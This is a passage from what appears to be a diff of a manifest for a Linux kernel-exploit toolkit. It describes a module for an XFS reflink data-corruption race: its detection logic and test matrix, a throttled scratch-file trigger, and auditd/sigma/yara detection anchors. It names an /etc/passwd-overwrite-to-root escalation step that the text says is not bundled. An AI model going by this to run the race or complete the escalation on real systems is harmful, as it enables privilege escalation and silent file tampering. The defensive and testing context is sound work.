+ write access — note it deliberately does NOT accept a successful FICLONE as proof, since btrfs implements FICLONE and is unaffected. Without the provisioner step, expect_detect is PRECOND_FAIL; with it, VULNERABLE. Both verdicts are worth recording. The version+precondition matrix is also covered by the 14 detect() unit rows in tests/test_detect.c (incl. 4.18/5.14 el8/el9 bases, the 6.13.0 'newer than some entries but not all' case, and the no-XFS PRECOND_FAIL row) driven via SKELETONKEY_XFS_ASSUME_REFLINK=1/0. IDEAL TARGET, NOT IN THIS MATRIX: a Rocky/Alma/CentOS Stream 9 box, where XFS+reflink is the INSTALLER default and no provisioner step is needed — that is the real affected population (RHEL/CentOS/Rocky/Alma/Oracle/CloudLinux 8-10, Fedora Server >= 31, Amazon Linux 2023) and is the reason this module ships unverified. Adding an rpm-family box to boxes/ is the follow-up. CAVEAT for any rpm-family sweep: those vendors backport WITHOUT bumping the upstream version (a patched el8 kernel still reports 4.18.0-*), so a VULNERABLE verdict there reflects the upstream base version only and must be reconciled against the RHSA/ELSA/ALSA/RLSA erratum — detect() prints that warning itself. exploit() forks a child that works ONLY inside a private mkdtemp scratch dir on two files it owns: it establishes a shared extent (FICLONE, corroborated by FIEMAP_EXTENT_SHARED) and an O_DIRECT gate, then races a HARD-BOUNDED 8 writers / 2 ftruncate+fdatasync helpers / 16 rounds / 2s and stops, reading the donor back with O_DIRECT (a buffered read would be served from the page cache the corruption bypasses) and reporting divergence honestly. DELIBERATELY UNDER-DRIVEN (public PoC uses 32 writers / 8 helpers) and it NEVER clones or targets a file it does not own — the /etc/passwd overwrite -> su -> root step persistently rewrites a system file on disk with no undo and is NOT bundled. Returns EXPLOIT_FAIL. Provisioner note — this is SAFER to run than the other reconstructed race triggers, not more dangerous: the bug corrupts file DATA, not kernel memory, so there is no oops/KASAN/panic path, and a won race damages 4 KiB of a scratch file the module then deletes. Safety rank 55. Detection: auditd/sigma anchor on ioctl request 0x40049409 (FICLONE) and openat O_DIRECT; the yara rule matches the on-disk artifact because FIM CANNOT see this attack (the write bypasses the victim inode, leaving mtime/ctime/size untouched). Sweep + trigger validation pending." + # ── ghostlock (CVE-2026-43499) addition ───────────────────────────── ghostlock: